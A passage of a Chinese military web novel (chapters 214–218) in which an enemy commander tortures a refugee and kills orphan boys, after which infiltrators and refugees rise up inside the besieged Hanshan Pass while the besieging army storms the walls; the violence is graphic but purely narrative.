“各营从即刻起备战!所有步卒归韩将军统一指挥,攻克城门后骑兵依次入城!”
洛羽握紧拳头往地图上一砸:
“纵有寒山天险又何妨?我们就是要一战拿下寒山关!”
“诺!”
……
“你说什么?把你刚才的话再说一遍?”
蒙格苏与阿史那铁勒眉头紧皱,面前站着个黑脸百户,此人负责看守全城的难民。
黑脸百户沉声道:
“两位将军,卑职发现今日有不少难民在互相串营来往,鬼鬼祟祟,像是在私底下密谋什么。”
“一群难民罢了,能密谋什么事?”
阿史那铁勒讥讽道:
“估计又想着去偷点粮食之类的。”
这么多难民饿肚子,总有胆大的敢去偷军粮,不过被抓住就只有死路一条。
“偷粮食吗一个两个的就好了,何至于串营勾结?”
蒙格苏背着手来回踱步,目光微凝:
“大战之际,咱们还是得步步谨慎啊,马虎不得。
有没有盯上哪个可疑人?”
“有,有一个年轻人多次出入各营,卑职怀疑他在搞鬼。”
黑脸汉子皱眉沉思:
“叫什么来着,好像姓楚,对,楚阳!奴庭人。”
“原来是奴庭的贱民!”
蒙格苏讥讽道:
“去,给我抓过来,本将要亲自拷问!”
第214章你们不得好死!
“啪,啪啪!”
“杂种,说!你们到底在密谋什么!”
“老子看你长得贼眉鼠眼,一看就不是好人!”
昏暗的牢房里,楚阳被四仰八叉地绑着,两名凶神恶煞的羌兵左一鞭右一鞭地抽在他身上,没一会儿就打得皮开肉绽。
“将,将军。”
楚阳痛苦中带着茫然:
“小人实在不知道要说什么,求将军明示啊。”
“不知道?”
蒙格苏一把揪住楚阳的头发:
“这两天你不在自己的营地待着,却频繁出入各营,鬼鬼祟祟,是不是在密谋些什么?难道你是想组织难民造反?
说!”
“小人只是省了点粮食,去送给几名同村的几名孩子吃啊。”
楚阳像是受了天大的委屈,哭丧着脸不停求饶:
“粮食都是我自己一点点省下来的,绝不是偷的,饶命啊将军,小人下次不敢了。
我不想死,不想死啊。”
楚阳声泪俱下,浑身颤抖,看起来胆子很小。
“送粮食给同村的孩子?就这么简单?”
蒙格苏满腹狐疑,然后怒骂一声:
“想骗我?来人,给我接着打!打到他说为止!”
其实蒙格苏已经派人去查过了,楚阳确实藏了些粮食去送给几个孩子,但他总觉得事情没有这么简单。
“啪啪啪!”
“小人说的真是实情啊,饶命啊!”
“刺啦!”
“啊!”
用鞭子打、用火钳烫、用夹子夹,羌人无所不用其极,什么酷刑都上了,将楚阳折磨得不成人样,但自始至终他只是在求饶,最多说些谁打架斗殴了、谁偷窃粮食了,啥有用的话都没说。
阿史那铁勒眉宇微皱:
“都快打死了,看他的样子不是在说谎,会不会是咱们多虑了?”
“宁可错杀,绝不放过。”
蒙格苏冷笑一声:“把人给我带进来!”
羌兵押着几名男童走了进来,都是七八岁的年纪,小脸饿得面黄肌瘦,牢房内的血腥直接吓得他们哭了起来:
“楚阳哥哥,你怎么了。”
“怕,我们怕。”
没错,他们三个就是楚阳一直尽心照顾的孩子,爹妈都死在了逃亡的路上,年纪轻轻就成了孤儿。
慌乱的哭声让楚阳急了,开始挣扎,扭动身躯去挣脱手腕处的镣铐:
“你们想干什么,干什么!”
“放了他们,他们还是孩子!”
“呵呵,你急了。”
蒙格苏竟然笑出了声,随手将一名男孩拉到怀里:
“想放了他们?简单啊,你只要说出来在密谋什么,我就放了他们,还能给你一笔赏银。
不然嘛,只怕他们不能活着走出牢房了。”
“小人真的不知道将军想问什么该说的我都说了啊!”
楚阳拼了命地扭动身躯,嗓音中带着战栗:“他们还是孩子啊,和他们有什么关系!放了他们,有什么事冲我来!”
“他们是孩子,但也是奴庭的贱民。”
蒙格苏抽出一把匕首,慢悠悠地贴在小孩的脖颈处:
“瞧瞧,多么嫩的小脸啊,这么小的年纪就死了,真是让人不忍心。现在他们的命就握在你手里。
说,他们活,不说,他们死!
你可得好好想清楚,如果他们死了,那都是因为你,是你害死了他们!”
“畜生,你们都是畜生!”
“楚阳哥哥,哥哥!”
“呜呜!”
楚阳悲愤欲绝的怒吼与孩子的哭声混成一片,牢房内充斥着一股浓浓的悲情。
“本将军没空跟你闲扯。”
蒙格苏终于冷下了脸:“说不说?”
楚阳怔怔然,眼眸中闪过一抹绝望与悲戚,颓废的耷拉下脑袋:
“我真的,不知道该说什么。”
“噗嗤!”
蒙格苏手起刀落,一名孩童便倒在了血泊中。
鲜血让其他两个孩子哭得更惨了,拼了命的哀嚎,一声声叫着楚阳哥哥。
“你还有机会。”蒙格苏面无表情地提起匕首:“最后问你一遍,说不说?”
“我,我真的不知道说什么,不知道。”
楚阳绝望地摇着头,浑身都在发抖:
“求求你,别杀了,别杀他们。杀了我,你杀了我!”
“噗嗤噗嗤!”
蒙格苏没再多言,手起刀落割破了另外两名孩子的咽喉,神情极度冷漠。
楚阳傻了,望着三具尸体先是沉默,直到蒙格苏与阿史那走出牢房、重重关上牢门之后才疯狂地嘶吼起来:
“该死的羌贼,你们不得好死!”
“不得好死!”
吼叫声回荡在整座牢房里,那么的撕心裂肺、悲痛欲绝。
牢房外的阿史那铁勒撇撇嘴:
“你没杀他是心中还有疑虑?是不是太小心了些,几个贱民罢了,用得着如此紧张?说句不好听的,就算他们真要闹事又如何?无关痛痒。”
蒙格苏凝神看向远方,喃喃道:
“难道真的是我多虑了?不应该啊。”
……
“四处都找遍了,还是没有找到楚阳!”
“营中没有,城头也没有,不知道去哪儿了。”
吕青云这里已经陷入了骚乱,羌兵是趁着楚阳落单时把人给抓走了,谁也不知其去向。
楚澜更是急得团团转:
“我弟弟虽然年纪小,可明事理,如此重要的关头绝不会无缘无故地消失,一定遇到了意外!”
“该不会,该不会是羌人发现了什么吧?被抓了?”
终于有人小心翼翼地提了一嘴,毕竟楚阳这些天东奔西走,指不定就被羌兵盯上了呢?
全场一片沉默,楚澜的脸色也白了不少。
“我回来了!”
外出打探消息的柳青疾步匆匆地走进帐内:
“刚得到消息,楚阳一直照顾的几个孩子在一个时辰前被羌兵抓走了,到现在都没放回来。”
“出事了。”
吕青云心头咯噔一下,确信无比:“楚阳一定是被羌兵抓了。”
楚澜浑身一颤,脸色苍白无比,落在羌人手里还能有什么好下场吗?
“还有一个消息。”
柳青急声道:“羌兵加强了城头的防守,城中的巡逻队也多了不少,像是在防备什么。”
“该死的。”
吕青云扭头看向楚澜:“楚阳兄弟靠得住吗?”
楚澜很明白他的意思,重重点头:
“绝对靠得住,他自幼就讲义气。我以性命担保,他绝不会泄密!”
“蒙格苏应该还不知情。”
柳青沉声道:“如果消息真的泄露,羌兵现在就该来把咱们一锅端了。但可以确定的是,他们一定有所怀疑!”
“怎么办?”
“吕大哥咱们怎么办?总不能坐以待毙吧?”
一双双焦急的目光看向吕青云,所有人都知道危机近在眼前,眼下这种关头,稍有不慎大家就会死无全尸。
沉默许久,吕青云缓缓抬头,目光无比坚定:
“等不到约定的时间了。”
“今夜就行动!”
第215章抱歉,只能带你们去死
黑夜缓缓降临,初冬的寒风吹遍城头,一面面军旗在风中招展。
今天的寒山关很安静,因为乾军采取了隔日攻城的战术,守军难得休息了一天。
城外倒塌着些许被烧毁的攻城器械,还有数不清的尸体堆在那腐烂发臭,战争的残骸在夜幕笼罩下更加可怖。
难民营中漆黑一片,几十人蜷缩在一顶顶军帐中,吃喝拉撒都在这里面,羌兵宛如在圈养牲畜。
油灯他们是不配拥有的,唯一能照明的就是插在外面的几支火把,微弱的火光在夜风中若隐若现。
守在营门口的羌兵不多,只有十几人。没错,十几名持枪军卒就足以看守几千难民。在羌兵看来这些人就是待宰的羔羊,毫无威胁。
羌兵打着哈欠,眼皮子都快耷拉到地上了,突然就听到一阵脚步声,似乎有人影在黑暗中走来。
“站住,干什么的!”
十夫长当即怒喝,十几名羌兵一下子就清醒了,全都举着长矛虎视眈眈。
吕青云和柳青押着被五花大绑的楚澜走出夜色,身边还簇拥着几名汉子,楚澜嘴里被塞了块布条,一直在奋力的哼哼,表情似乎很愤怒。
“都给我站住!谁再敢往前一步就是死!”
“大半夜不睡觉,鬼鬼祟祟的干什么,赶紧给老子滚回去!”
十夫长的骂声刚响,吕青云就一脸谄媚的迎了上去,一指楚澜:
“别别别军爷,我们是好人,来给您报信的。”
“报信?”
“对!就是这小子听说自己弟弟被抓,心怀不轨,挑拨百姓想要炸营哗变,竟然还想撺掇我们。
坏得很!
小人和几个兄弟趁他熟睡将其绑了,特来送给军爷!”
“弟弟被抓?炸营哗变?这家伙该不会是姓楚吧?”
“确实姓楚。”
“呦呵,怪不得今早听说头抓了个姓楚的。”
十夫长听到这里就放松了警惕,缓步上前,讥讽着拍了拍楚澜的脸颊:
“你小子真是胆大包天啊,弟弟被抓不想着逃命,还敢炸营哗变。”
“唔,唔!”
楚澜瞪着眼,拼命地嘶吼着,但却说不出话来。
“来,给我把布条扯了,我倒要看看他想说什么。”
十夫长面带讥笑,扯开布条后的楚澜质问道:
“我弟弟人呢!我要见他!”
“你还想见他?现在是生是死都不知道,你还是先担心担心自己吧。”
十夫长快被逗笑了:“待会儿各种酷刑在你身上用个遍,你就知道怕了!”
“是吗?”
楚澜突然嘴角微翘:“要死的不是我,是你!”
“噗嗤!”
吕青云手中寒芒一闪,一柄匕首狠狠扎进了他的咽喉,四周几人同时动手,干脆利落地解决了哨兵。
十几具尸体横七竖八地栽倒,丝丝血腥味开始在夜空中弥漫。
柳青手掌一招,大批黑影从营中闪掠而出,小心翼翼地簇拥在营门口,足有数百人。
前面两百人面色凌厉,目如鹰隼,人手一把匕首,他们就是第三营潜入城中的精锐。身后四五百人全是奴庭难民,放眼望去清一色的青壮年,但没有兵器,最多拎着木棍板凳之类的家伙。
吕青云努了努嘴,心生同情:
“你弟弟真被抓了,但从羌兵的反应来看他们还不知道咱们的计划。只是你弟弟是生是死……”
“不管了。”
楚澜的眼神先是悲伤,然后变得决然:
“先救全城百姓!”
“那就按最新计划行动。”
吕青云看向柳青:“辎重营那边就交给你了,战斗开始后就放响箭,洛将军听到信号后一定会率兵攻城!”
按照最初的计划应该是大家一起攻打军械库,分发兵器之后再攻打城门。
但现在情况变了,城内羌兵加强了戒备,巡逻队随处可见,直接去军械库很容易早早惊动羌兵,所以计划随之改变:
柳青带一百人摸去辎重营焚烧粮草,吸引羌兵注意,吕青云顺势拿下军械库,然后两路兵马再合力进攻城门。
“放心吧,没问题!”
吕青云环视全场:
“开战前我只说一句话,城中数千奴庭百姓的生死都担在我们身上,咱们只能拼死一战!”
“拼死一战!”
“行动!”
吕青云和楚澜带人先走一步,几百道人影呼啦啦地钻进夜色不知所踪。
望着远去的身影,柳青的眼神中好似有一道狠辣闪过。
……
很快柳青就带人来到了地方,但不是辎重营,而是城门口附近。
街巷尽头火把明亮,那就是驻守城门的羌兵,距离他们不足百步。
麾下百户张涛错愕不已:
“头,不是去辎重营吗,怎么来城门口了。”
面对一众军卒疑惑茫然的目光,柳青冷声道:
“实话跟兄弟们讲,今天我要阵前抗命了。”
众人心头一颤。
柳青目光怅然:
“咱们历经磨难才逃到陇西,在阙州安了家,过上了踏实日子。我家分了二十多亩地,足够养活我爹娘和儿子,逢年过节还能吃上一口肉食。
说实话,这种日子以前我想都不敢想,知足了。
城内数千奴庭百姓跟我们一样,一路逃一路死才到了寒山关,只要再进一步就能活下去,我们有饭吃了,他们呢?
那么多老人妇孺,他们不该死在这!拿下寒山关是他们活下去的唯一希望!
大家都知道,要想里应外合攻破寒山关,吕校尉那边才是主力,咱们只不过是佯攻。我们弄出的动静越大,他们成功的可能性就越大!
辎重营虽然重要,但远没有城防重要,吕大哥让我们攻打辎重营是为了减少咱们的伤亡,但我不怕死!
所以我改变了主意,直接进攻城门,拼尽一切吸引羌兵的注意力,给校尉争取时间!给城内的老百姓拼一条活路!”
全场沉默,他们深知柳青说的有道理,攻打城门才是正中羌兵要害。
“张涛,还有你们都跟着我很久了。”
柳青眼眶微红,有些疯狂:
“进攻一旦开始,我们将会深陷羌兵的包围,不是九死一生,而是十死无生!
现在谁要是怕了,调头去找吕校尉,我绝不怪罪!想活着并没有错!”
全场鸦雀无声,所有人只是默默地迈前一步,目光坚定。
“不愧是我的兵。”
柳青很是欣慰,同时鞠躬抱拳:
“抱歉了,只能带兄弟们去死。”
“洛字旗下,何人惧死!”
压抑到极致的低喝声,肃杀之气陡然升腾!
再度挺起胸膛的柳青不再掩藏身形,而是带兵踏足街巷中央,目光决然,仰天怒吼:
“响箭!”
“随我杀敌!”
“咻!”
尖锐的破空声陡然划破云霄,在夜空中绽放成一团绚丽的火光。
满城震动!
第216章初冬夜半,满城开战!
“咻!”
一声响箭不仅震动了安静一天的寒山关,更惊动了城外的乾军大营。
洛羽和一众武将全都从睡梦中惊醒,冲到营门口遥望城头,空中的烟火已经散去,寒山关似乎也重归宁静,但众人确信刚刚那是约定好的开战信号。
“怎么回事,不是说好三天后吗,这才过了一天。”
蒙虎急吼吼地说道:“难道是柳青说错了时间?还是响箭放错了?”
“不,一定是出什么变故了!”
萧少游沉声道:
“吕青云和柳青两人做事缜密,绝不可能胡来,响箭一起就意味着开战!我猜城中一定发生了什么事,逼得他们不得不提前开战。
将军,怎么办?”
所有人都僵住了,意外来得太突然了。
“我赞成萧少游的意思,一定是出了变故!弄不好吕青云他们已经身陷危局。”
洛羽毫不犹豫地怒吼道:
“各营立刻出动,攻城!”
“告诉诸位将士,今夜誓破寒山关!”
……
埋伏在军械库附近的吕青云同样被响箭惊到了,望着半空中的火花呆若木鸡。
楚澜愕然不已:“吕大哥,好像不对啊,响箭不是应该从辎重营的方向射出吗?怎么成了城门口?难道是羌兵放的响箭?”
“不,是我们的。”
“怎么可能,不是说好了柳大哥带兵进攻辎重营地吗?”
吕青云瞬间就想明白了一切,面色深沉:
“因为攻打城门口能吸引更多的羌兵,为我们争取时间。”
果然,在城门口骚动的同时满城的巡逻队都朝着那边涌去,原本徘徊在军械库附近的羌兵消失得无影无踪,只剩下为数不多的守卒。
楚澜沉默了,吸引更多的羌兵就意味着柳青要面对更凶险的境地,堪称必死之局。
“呼。”
吕青云攥紧手中匕首,咬牙前冲:
“杀!以尽快速度占领军械库,支援城门!”
……
“杀啊!”
“铛铛铛!”
火光撕裂夜空,城门口处激战骤起。
柳青率领的一百悍卒凭借一把短小的匕首就突破了两道羌兵哨卡,兵器也全都换成了弯刀,但越往城门冲杀羌兵便越围越多,四面八方全都是敌人。
“喝!”
一名羌兵挺枪刺来,目光狰狞,柳青一扭腰身,宛如柳叶飞舞,轻飘飘地躲开枪尖,手中弯刀顺势砍在了敌人的咽喉处,鲜血飚射而出。
紧跟着他就看到前面有三名羌兵持盾而来,步步紧逼。只见他一个箭步前冲,脚掌在侧面的木墙上狠狠一跺,整个人腾空而起,直接用后背撞向了盾牌。
“砰砰砰!”
巨大的撞击力让三名羌兵踉跄着往后退去,柳青瞅准时机,先是一拳头砸得左侧之敌满脸喷血,接着夺过他手中的长枪狠狠往右侧一捅,枪尖顺势贯穿了敌兵的胸膛。
一个照面就杀敌两名,仅剩的羌兵嘴角一抽,扭头要跑,柳青岂会给他这个机会?两步追了上去,刀锋顺势砍在了他的肩膀上,然后横着一划拉,肩膀连带着脑袋被削去一大半,红白相间的脑浆溅了他一身。
“用着没有苍刀顺手啊。”
柳青撇了撇嘴,对手中的兵器很不满意,同时用眼角的余光扫视了一眼战场,将士们已经被羌兵团团围住,每一处战圈都在激烈肉搏。
“何方宵小,竟敢犯我城防!”
“嚯!”
城头上陡然亮起数不清的火把,光看守卒人数比往常多了一倍不止。
蒙格苏与阿史那铁勒两人居高临下:
“我就猜到有人要袭击城门,你们这帮难民还真是胆大包天啊。”
柳青手中刀锋一转,再度砍翻一名逼近身前的羌兵,朗声怒喝:
“该死的羌贼,今夜就是你们的死期!”
如此凌厉的刀法让蒙格苏眉宇一凝,目光冰寒:
“不对,你们不是难民,是乾军!”
“哈哈哈,你总算是认出来了,怕了吧!”
柳青仰天长笑,眼神中没有丝毫惧意。
两位羌兵主将黑了脸,乾军竟然潜入了城中,太不可思议了,怎么混进来的?
“妈的,肯定是跟着那群难民混进来的!”
蒙格苏脑筋一转就想明白了,冷喝一声:
“区区百人而已,何必苦苦挣扎?降了吧!”
“我呸!”
柳青怒吼一声:“将士们,可敢一战!”
上百精锐齐声高喝:
“洛字旗下,何人惧死!”
“有胆魄。”蒙格苏的眼神彻底冰冷:“乌木罕,去杀了他。”
一名千户谋克领命而去,狞笑道:
“将军放心,末将定取其首级!”
城内厮杀不断,城外又有数不清的火光亮起,巨型投石车从远处的夜色中抛射出一块块山石,早就待命备战的乾军已经开始攻城了,更出乎羌兵预料的是城内深处同样有喊杀声响起,火光冲天。
“报,将军!”
一名军卒慌慌张张地跑了过来,急声道:“军械库遭遇袭击,是一群奴庭的难民,守军快顶不住了!”
“好啊,看来乾军是蓄谋已久。”
蒙格苏不仅不乱,反而有一股杀意在胸膛中燃烧,大步离去:
“城防交给你,我去收拾那些杂碎。”
“好!”
阿史那铁勒冷声道:“就让咱们看看,乾军有何本事攻破寒山天险!”
“杀啊!”
刀剑长枪的清脆撞击与愤怒的嘶吼声充斥着城墙内外,城门口、城防、军械库,到处都在厮杀,突如其来的杀戮让寒山关被一股血腥味所笼罩。
当然了,战事最激烈的地方依旧是城门口。
第三营一百悍卒要面对的是十倍于敌的羌兵,四面八方涌来的敌军犹如潮水般将他们淹没,不断有士卒被砍得血肉模糊,横尸当场。
挥刀,中刀,战死。
数不清的第三营军卒在激战中被乱刀砍死,自始至终无一人退出战斗,全都死在冲锋的路上。
激战许久的柳青同样身负重伤,肩膀、大腿多处中刀,浑身血流不止,饶是如此他还是劈死了两名羌兵。可他没有高兴,而是牙呲欲裂地吼道:
“张涛,小心!”
“噗嗤!”
几步外正在奋战的百户张涛被羌兵从背后偷袭,一枪贯穿后背,在柳青绝望的目光中砰得一声栽倒。
柳青目光茫然,似乎有泪水在闪烁。
明知是死,可亲眼看着一名名同袍倒下是何等的痛苦啊。
“乾军小儿,还是先担心担心自己吧。”
千户谋克乌木罕面无表情地冲入战场,手中举着一把长枪,朝着柳青笔直刺来。
“想杀我?那也得崩碎你两颗牙!”
柳青踉踉跄跄地迎了上去,一刀劈出,刚好与枪尖撞在一起:
“铛!”
一记对拼令两人手臂发麻,乌木罕略显惊讶:
“啧啧,刀法尚可嘛。不过你身负重伤,怎么跟我斗!”
“喝!”
趁你病要你命,乌木罕杀气暴涨,仗着长枪的长度优势不断出招,逼得柳青左支右绌,接连过了十几招后柳青终于力竭,被长枪戳中肩膀。
“给我死!”
乌木罕死顶着枪杆,剧痛袭遍全身,柳青一手抓住枪杆,不让其深入分毫,另一手挥刀俯劈,拦腰将枪杆砍断。
可乌木罕岂会放过如此好机会,转身一脚狠狠踢中了柳青的胸膛:
“噗嗤!”
一口鲜血狂喷而出,柳青就像断了线的风筝飞出去好几步然后往地上一栽。
半截断枪插在肩膀上,满脸血污,柳青的目光一点点昏暗,再也没有了起身还击的力气。
“能坚持这么久,倒有些本事。”
乌木罕拎着一把刀走了过来,满脸讥讽:
“你说你们这些奴庭的贱民,哪来的胆子与我大羌为敌?老老实实当条狗不好吗?”
“噗嗤!”
柳青又吐出一口鲜血,说不出话,但眼神中带着无尽的怨毒与怒火。
乌木罕举起弯刀,破口大骂:
“贱民就是贱民,你们全都得死!”
“喝!”
刀锋笔直挥落,直接砍向柳青的脑袋。
就在这千钧一发之际,柳青脑袋一歪,刀锋偏了几寸,没砍中脑袋反而砍中了肩膀。柳青强忍剧痛,顺势拔出肩膀处的断枪,用尽浑身力气刺了出去。
“噗嗤!”
断枪横着插进了乌木罕的咽喉,鲜血溅了柳青一脸。
乌木罕瞳孔骤缩,无比绝望,柳青满脸是血,咬牙切齿地吼道:
“我们不是贱民!该死的是你们!”
“嗖!”
“噗嗤!”
一支利箭当空而落,正中柳青的胸口。
呼吸骤停,时间在这一刻仿佛停止了。
寒风吹过,奄奄一息的柳青躺在血泊中,凄惨一笑:
“好想,好想带兄弟们回家啊。”
第217章今夜,屠尽羌贼!
靠着一百悍卒的拼死搏杀,吕青云几乎不费吹灰之力就攻占了军械库,百十号羌兵被杀得干干净净。
吕青云一边带兵直奔城门,一边派人搬运军械回难民营,号召全城百姓奋起杀贼。
长久以来积攒的怒火在这一夜彻底爆发,数不清的汉子抄起兵器冲向战场,满城沸腾。
就连老弱妇孺也在帮忙,到处放火制造混乱,反正所有羌兵都往城防去了,没人管得了他们。
渐渐地,吕青云身后已经跟了近两千人,绝大多数都是奴庭青壮,声势浩大。
在接连杀翻两队羌兵之后,难民们终于被一支三千人的精锐骑兵给挡住了。
蒙格苏策马持枪,目光不善,咬着牙道:
“好啊,一群难民竟然把本将军逼到这个份上,当真有本事。
何人领军!想必不是无名之辈吧!”
城内总计只有五千骑兵,还要防守城墙,眼下满城火起、混乱不堪,三千骑已经是蒙格苏能动用的所有兵力。
这一场变故已经远超他的预料,弄不好真有兵败丢城的可能。
吕青云拎着一把血淋淋的弯刀迈前一步,朗声怒喝:
“阙州第三营,校尉吕青云!”
“你们阙州军还真是人才辈出啊,先是蒙虎,现在又冒出来你,堂堂校尉竟敢冒着性命之忧深入寒山关。
鼓动百姓反抗、里应外合攻城,算盘倒是打得不错。
可你们以为这么简单就能攻破城墙?”
蒙格苏讥笑一声:
“把人给我带上来!”
凶神恶煞的羌兵押着一名男子走出人群,这家伙被打得皮开肉绽、浑身血污,几乎辨认不出面庞。
楚澜瞳孔骤缩,别人不认得,可他认得!颤抖着嗓音吼道:
“阳弟!阳弟!”
“哥,哥哥。”
早已神志不清的楚阳艰难地抬起头,竟然咧嘴一笑:
“我没说,我什么都没有说。”
“我知道!别怕!哥哥一定会救你!”
楚澜撕心裂肺的喊着,身后那些楚家族人同样眼眶通红。
“哥!我没给你丢人!没给奴庭丢脸!”
为了保住秘密,楚阳承受了惨无人道的折磨,更亲眼看着三名男孩死在自己面前,其中悲痛只有他自己懂。
“唔,好一幕兄弟情深啊。”
蒙格苏面无表情的说道:
“我不得不承认他的骨头很硬,我用尽了办法也没能撬开他的嘴。”
吕青云死死攥紧拳头,楚澜怒火中烧,参与暴动的青壮们敬佩不已。如果楚阳没抗住招了,那就没有今夜之乱了,他们全都得死。
楚澜急声喝道:“坚持住!哥哥这就来救你!”
蒙格苏轻笑一声:
“想救你弟弟是吧?简单。
现在就放下武器投降,我可以饶你弟弟不死。当然了,如果你能杀了吕青云,本将军还可以赏你一官半职,让你兄弟俩享受荣华富贵。
如何?”
吕青云目光冰冷,此人的心计当真歹毒,都这种时候了还在挑拨离间。
“我呸!”
楚澜破口大骂:
“只有杀了你才能救我弟弟!”
“你可想清楚了。”
蒙格苏提刀搭在楚阳的脖颈处:
“这是你唯一的弟弟,他若是死了,可就是被你害死的。
你这一辈子都会活在内疚、自责中!永世不得安宁!”
“你卑鄙!无耻!有种的出来一战!”
楚澜浑身发抖,恨不得现在就扑上去和羌兵鱼死网破。
“给你三息时间考虑,降!就能兄弟团聚!负隅顽抗只有死路一条!”
“一!二!”
正当蒙格苏准备喊三的时候,楚阳陡然嘶吼出声:
“哥!弟弟走了!记得替我报仇!替爹娘报仇!”
一语言罢,楚阳用尽全身力气往刀锋上一撞,刀破咽喉,血溅当场。
“阳弟!”
楚澜牙呲欲裂,双眼喷火,要不是吕青云一把拦着他,他独自一人就敢冲进千军万马。
“唉,没意思。”
蒙格苏愣了一下,随手推倒尸体,望向乌泱泱的人群:
“现在轮到你们了,一群贱民!”
杀意在他身上涌动:
“我草原的铁蹄终将会成为你们的噩梦!一群奴隶罢了,也妄想螳臂当车?
今日在场之人!一个不留!”
“轰!”
数以千计的骑兵同时举起长矛,寒光闪闪,一张张狰狞而又不屑的面庞宛如在看待羔羊。
贱民罢了,拿起武器也是奴庭的贱民!
雄壮的战马、锋利的长矛真让一些人眼中出现了恐惧,这是奴庭百姓骨子里带着的恐惧。
怕了,很多人怕了。
毕竟他们被奴役太久,见过太多残忍的屠杀。
“怕什么!”
吕青云的怒喝声陡然响彻全场:
“想想你们的惨死的父母妻儿、骨肉亲朋!难道被肆意残杀的日子你们还没过够吗!难道一辈子都要这样苟且偷生吗!
我呸!”
“咱们奴庭人生下来就是奴隶,凭什么!我们也是人!也该堂堂正正地活着!
是这些羌贼毁我家园,杀我亲人,奴我同胞!是他们让奴庭暗无天日!
只有杀了他们才能重获新生!”
吼声铿锵有力,回荡在所有人的耳畔,恐惧感渐渐消失,取而代之的是一股无尽的愤怒。
没错!
奴庭沦落到如此局面,罪魁祸首就是羌人!
“委曲求全、忍辱负重就能活下去吗?能,但是得像狗一样活着!”
吕青云咬牙切齿:
“可我宁愿战死!也不想当狗!”
“我奴庭男儿从小历经磨难,我们该是世间最坚强的汉子!都该是顶天立地的男儿!
杀了这群羌贼就能活下去!就能踏踏实实过上安稳日子,就能让妻儿老小吃上一口饱饭。
你们敢不敢随我一战!”
“敢!”
楚澜怒吼出声:
“我奴庭男儿!顶天立地!”
“敢战!”
吼声四起!
纵然有很多人是第一次握刀、第一次上战场,可现在他们胸中的怒火足以毁灭一切敌人!
无所畏惧!
“我告诉你们!”
吕青云环视全场:
“我们不仅能宰了这群狗贼,不仅能好好活下去。
终有一日我们还会回到奴庭,赶走所有敌人!重建家园!
我会带着你们回家!回到真正的故土!”
“轰!”
上千青壮愤怒吼道:
“回家!回家!”
“如果你们问我何时才能回家。”
吕青云舔了舔干裂的嘴唇,提刀前举:
“等羌贼的血染红我们的衣袍,便是归乡之日!”
“蹭蹭蹭!”
数不清的刀锋高举,无尽的怒火、怨恨、屈辱在这一刻全都变成了冲天杀意!
“今夜!”
“屠尽羌贼!”
“杀!”
第218章战鼓声中先登卒
“大军攻城!”
“给我杀!”
自南向北连山而建的寒山关城头箭雨飞舞、投石满天,两军的火把将黑夜照得如同白昼,犹如两条火龙在天地间纠缠争斗。
因为战况紧急,乾军的攻城云车一时半会拉不出来,大批步卒只能依靠寻常的竹梯依附攀城,数不清的箭矢、投石往下砸,鲜血飞溅,满城充斥着杀戮之景。
韩朔面色铁青地在前方指挥战斗,一道道军令不断从其口中下达,在尽可能寻找薄弱处进攻。
攻城器械不行、有所防备的羌兵又增加了守城兵力,攻城进度大大受阻。
徐松、石敢两营步卒还好,全军上下能奋力攀城,但定州、并州的士卒头一次参加如此激烈的攻城战,第一波攻城就死了上百人,墙角下堆积的死尸令很多人畏畏缩缩不敢上前。
一众将军急得团团转,他们很清楚城内正在血战,晚一刻破城就得多死很多人,可大型攻城车运抵城外还需要很久,总不能白白呆坐着吧?
“城外的乾军,你们看看这是谁!”
城头上陡然传出一声狞笑,近百具尸体被绳索吊在墙边,鲜血淋漓的死尸在风中晃啊晃,遍体鳞伤,十分凄惨。
战场为之一静,阙州军卒的表情瞬间僵硬,双眼冒火。
没错,这是柳青还有一百悍卒的尸体。
全部战死!
阿史那铁勒站在城头上喝道:
“看到了吗,这就是冒犯我大羌兵威的下场!有种的你们就来攻城,今夜的城墙脚下就是你们的墓地!”
“嗖!”
只见他弯弓搭箭,又是一箭射中柳青的胸口,溅起一团血花。
“哈哈哈!”
寂静的墙头传来一片狰狞而又讥讽的笑声,羌兵是在嘲笑、是在挑衅,更是想要用这种方式摧垮乾军的斗志。
确实,如此凄惨的场面让定州、并州的军阵出现了骚动,很多人心生退意,在他们看来想用一晚上攻破固若金汤的寒山关是不可能的事。
但中间的阙州军则不然,人人暴怒,羌兵这些杂碎竟然连死人都不愿意放过,这是对军卒莫大的侮辱!
“驾!”
“哒哒哒!”
清脆的马蹄声骤然回响,洛羽身披玄甲、策马持缰游弋阵前,一面硕大的“洛”字帅旗在夜空中猎猎招展。
除了帅旗,身后的岳伍还举着一面军旗,上面绣着“先登”二字,陌生的旗号令不少人目光疑惑。
洛羽环视全场,冷冷的问了一句:
“这是哪儿!”
全场鸦雀无声,这是哪儿?好突然的问题,怎么回答?
寒山关?战场?
“回答我,这是哪儿!”
韩朔率先怒喝:
“陇西!”
“说得好!这里是陇西!不是阙州、定州、并州,而是陇西!
陇西三州本就是一体!是生我们养我们的家园!”
洛羽抬起马鞭指向茫茫军阵:
“你们是谁!”
又是韩朔率先怒吼:
“陇西边军!”
“声音太小了,听不见!”
中央军阵的阙州军卒不约而同地喊道:
“陇西边军!”
“听不见!”
“陇西边军!”
阙州军卒的吼声一阵高过一阵,响彻云霄。
另外两州的兵都怔怔然,不知道为什么,听到陇西边军四个字的时候心中有一股躁动,似乎浑身发烫,有一股热血在翻滚。
“这里是陇西,而你们是陇西边军!”
洛羽策马扬鞭:
“军人,当为家国天下之坚盾、百姓安康之屏障!边防失守,是边军的耻辱!
你们甘心看着家园毁于战火、同袍死于敌手吗!”
“不甘心!”
“那你们敢不敢一战,攻破寒山关!”
“杀,杀,杀!”
“坚城在前,家人在后!”
洛羽终于弃鞭拔刀,指向身后的先登军旗:
“都说寒山关有天险,固若金汤,羌兵仗势欺人,完全没把我们放在眼里,但我不信区区一堆破石头能挡住我陇西边军的步伐!
今日谁愿为我大军先登城头,踏破城墙,屠尽羌贼!”
“阙州第六营,愿为大军前锋,先登城头!”
徐松重重地迈前一步,神情无比坚定:
“校尉徐松愿立军令状,不破城墙,提头来见!”
“轰!”
全营两千余步卒迈前一步,齐声怒喝:
“愿为大军先登!”
“准!”
洛羽沉声喝道:
“阙州第六营,勇敢无畏,全军死战,战前赐名先登!
此战先登城头者,赏银百两,战死之卒加倍抚恤,家人由官府赡养!
本将亲自为你们擂鼓助威!”
“赐旗!”
岳伍策马向前,将崭新的军旗交到了徐松手里。
“轰!”
满营齐行军礼,洛字帅旗飘然远去。
徐松站在大阵最前方,军旗插入黄沙,先登二字迎风而立,威武不凡:
“先登营!”
“在!”
“所有人放弃长枪弓弩,佩刀持盾,上至主将校尉、下至伙夫,全部参加攻城战!
鼓响之时全军攀城!
